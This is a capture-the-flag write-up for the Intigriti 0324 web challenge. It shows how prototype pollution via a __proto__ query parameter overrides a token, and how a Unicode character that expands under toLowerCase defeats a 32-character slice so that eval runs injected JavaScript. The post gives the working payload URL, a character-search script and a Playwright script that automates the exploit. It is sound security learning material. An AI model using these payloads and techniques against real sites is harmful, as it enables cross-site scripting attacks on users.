- Published on
Intigriti challenge 0324 writeup
- Authors
- Name
- Damjan Smickovski
- @smickovskid
Source: Intigriti
Solves: 49
Introduction
Yet another interesting challenge from Intigriti. This time around we have a web application with a few query parameters and the goal is to execute arbitrary JavaScript code and print out 1337.
Reconnaissance
Navigating to the challenge page we are presented with two sections of input fields and buttons, Set Contact Info and Set Token.
When we enter some data in the Set Contact Info section and click the input button and then proceed to click the info button an alert appears with the data we entered. Same applies for the Set Token section where some kind of hash is displayed.
So it seems that whatever we enter in the fields is then propagated as an alert and displayed on the page after clicking the info button. Self XSS is out of scope for this challenge so that means we need to find a way to get XSS without user interaction.
Source code analysis
The source code was not supplied in this challenge so we will have to copy the web page and analyze it locally. I achieve this by running
wget --mirror \
--convert-links \
--html-extension \
--wait=2 \
-o log \
https://challenge-0324.intigriti.io/challenge/index.html
This will download all the files and assets locally so I can analyze them.
The file structure is simple and the index file loads two modules core.js
, md5.js
which is the CryptoJS library so we will not focus much on this.
The index.html
file contains the HTML for the input fields and buttons as well as the JavaScript code that handles the input and button clicks. The HTML
is standard and there is not much to analyze here.
Our main focus will be on the <script>
part of the index.html
file.
var user = {};
function runCmdToken(cmd) {
if (!user['token'] || user['token'].length != 32) {
return;
}
var str = `${user['token']}${cmd}(hash)`.toLowerCase();
var hash = str.slice(0, 32);
var cmd = str.slice(32);
eval(cmd);
}
function handleInputToken(inp) {
var hash = CryptoJS.MD5(inp).toString();
user['token'] = `${hash}`;
}
function runCmdName(cmd) {
var name = Object.keys(user).find(key => key != "token");
if (!name) {
return;
}
var contact = Object.keys(user[name]);
if (!contact) {
return;
}
var value = user[name][contact];
if (!value) {
return;
}
eval(`${cmd}('Name: ' + name + '\\nContact: ' + contact + '\\nValue: ' + value)`);
}
function handleInputName(name, contact, value) {
user[name] = { [contact]: value };
}
const urlParams = new URLSearchParams(window.location.search);
const nameParam = urlParams.get("setName");
const contactParam = urlParams.get("setContact");
const valueParam = urlParams.get("setValue");
const tokenParam = urlParams.get("setToken");
const runContactInfo = urlParams.get("runContactInfo");
const runTokenInfo = urlParams.get("runTokenInfo");
if (nameParam && contactParam && valueParam) {
handleInputName(nameParam, contactParam, valueParam);
}
if (tokenParam) {
handleInputToken(tokenParam);
}
if (runContactInfo) {
runCmdName('alert');
}
if (runTokenInfo) {
runCmdToken('alert');
}
We can see that the inputs can be supplied as query parameters and then the handleInputName
and handleInputToken
functions are called respectively. The runCmdName
and runCmdToken
functions are called when the runContactInfo
and runTokenInfo
query parameters are present which allows us to mimic the button clicks without user interaction. That solves our self xss problem.
Handle input functions
The handleInputName
function takes three parameters, name
, contact
, and value
and assigns the value
to the user
object with the name
as the key and the contact
as the key to the value.
The handleInputToken
function takes one parameter, inp
and calculates the MD5 hash of the input and assigns it to the user
object with the key token
.
Run command functions
The runCmdName
function takes one parameter, cmd
and searches for the first key in the user
object that is not token
. Then it proceeds to set the contact
variable to the keys of the found key and then the value
variable to the value of the found key. Finally, it evaluates the cmd
with the name
, contact
, and value
as arguments.
A simplified example would be, where the user supplies name
as name_test
, contact
as contact_test
, and value
as value_test
.
The user
object would look like this:
{
"name_test": {
"contact_test": "value_test"
}
}
The runCmdToken
function takes one parameter, cmd
and checks if the user
object has a key token
and if the length of the value is 32. If the conditions are met it proceeds to concatenate the token
value with the cmd
and (hash)
string. The hash
is then sliced from the start to the 32nd character and the cmd
is sliced from the 32nd character to the end. Finally, it evaluates the cmd
. MD5 hashes are always 32 characters long.
The token by default is set via the handleInputToken
function which calculates the MD5 hash of the input and assigns it to the user
object with the key token
.
Exploitation
Based on our analysis we can see that the potential attack vector would be to somehow manipulate the values in the user object via either the handleInputName
or handleInputToken
functions and then execute arbitrary JavaScript code via the runCmdName
or runCmdToken
functions.
Prototype poisoning
The handleInputName
function assigns the value
to the user
object with the name
as the key and the contact
as the key to the value. This means that if we can manipulate the name
and contact
values we can potentially poison the user
object and execute arbitrary JavaScript code.
By supplying the name
as __proto__
and the contact
as test
and the value
as test
we can poison the user
object and add a new key test
to the user
object.
https://challenge-0324.intigriti.io/challenge/index.html?runTokenInfo=1&setName=__proto__&setContact=test&setValue=test
Then if we enter user.test
in the console we can see that the user
object has been poisond, however this does not let us execute arbitrary JavaScript code so we need to find a way to leverage this.
XSS
Since we got our entrypoint via the runCmdName
function we can try to somehow exploit the runCmdToken
function. If we poisond the user
object with token
as the key we will bypass the setToken
function and supply our own input.
https://challenge-0324.intigriti.io/challenge/index.html?runTokenInfo=1&setName=__proto__&setContact=token&setValue=11111111111111111111111111111111
Great, now the problem is that the function expects exactly 32 characters so we can't just insert alert(1)//...
and expect it to work. After some brainstorming with stealthcopter we came to the conclusion that perhaps some characters might be interpreted as more than 1 character and thus bypass the 32 character limit and slice the string in a way that we can execute arbitrary JavaScript code.
So we would need an array of characters that is with a length of 32, however after being processed it ends up with a length of more than 32 characters. We can write a script that will go through all the unicode characters including surrogate pair characters and check if they are processed as more than one character.
// Adjusted runCmdToken function from index.html
function runCmdToken(cmd, token) {
if (!token || token.length != 32) {
return 0;
}
var str = `${token}${cmd}`.toLowerCase();
var hash = str.slice(0, 32);
var cmd = str.slice(32);
return `${cmd}(${hash})`
}
// Loop through all unicode characters
for (var i = 0; i <= 0x10FFFF; i++) {
res = runCmdToken('alert', String.fromCharCode(i).repeat(32));
// Check if the length of the response is more than 39 characters which includes 32 + 7 characters for the alert function
if (res && res.length != 39){
// If it is print out the character and the response
console.log(`Found character ${String.fromCharCode(i)}`)
console.log(res);
console.log(res.length);
}
}
After running we get a hit
❯ node ex.js
Found character İ
i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇alert(i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇)
71
The vulnerable part is in the toLowerCase
function which converts the İ
character to i̇
which is a combination of two characters. This means that we can supply the İ
character 32 times and then the alert
function and it will be processed as 71 characters and we can adjust the slicing to execute arbitrary JavaScript code.
The final payload is:
https://challenge-0324.intigriti.io/challenge/index.html?runTokenInfo=1&setName=__proto__&setContact=token&setValue=İİİİİİİİİİİİİİİİalert(1337);////
Bonus video
Video showcasing an automated exploit for the challenge, inspired by stealthcopter and his previous challenge win.
Code
import re
import logging
from playwright.sync_api import sync_playwright
# Now lets write a function that will iterate all the unicode characters and find us a lowercase char that is > 1
def get_special_char():
for i in range (0x0000, 0xFFFF):
c = chr(i)
# Lets check if when to lowercase is called we get a size larger than 1
if len(c.lower()) > 1:
return c
raise Exception("Could not find a suitable character")
# First we need to boot up a browser with playwright so we can start testing out our payload
def start_browser():
playwright = sync_playwright().start()
browser = playwright.chromium.launch()
context = browser.new_context()
# Returning the playwright browser object
return context.new_page()
# Now lets write a method to handle dialogs
# Lets also take in the caracter and XSS payload so we print it in the end
def handle_dialog(dialog, payload):
if dialog.message == "1337":
print(f"[+] Success, got a working payload: {payload}")
dialog.dismiss()
def exploit():
# Defining our URL which we are able to poison
URL = "https://challenge-0324.intigriti.io/challenge/index.html?runTokenInfo=1&setName=__proto__&setContact=token&setValue=%s"
# Defining our XSS we want to exec
XSS = "alert(1337);//"
# Placeholder for our special char
SPECIAL_CHAR = 0x0000
print("[+] Starting browser")
page = start_browser()
page.on("dialog", lambda dialog: handle_dialog(dialog, f"{CHAR}{XSS}"))
print("[+] Trying to find special character")
CHAR = get_special_char()
# Now lets set the proper size based on our payload
CHAR = CHAR * (32 - len(XSS))
# Now we need to iterate to get the proper amount of special characters and comments to get our payload to execute
while len(CHAR) > 0:
page.goto(URL % f"{CHAR}{XSS}")
# Deduct the special character variable in case of no alert
CHAR = CHAR[1:]
# Increase the comments
XSS += "/"
exploit()
Conclusion
Really interesting challenge that required a bit of thinking and creativity to solve. The combination of prototype poisoning and unicode characters was a nice touch and I enjoyed solving this challenge. Thanks to Intigriti for hosting this challenge and I look forward to the next one.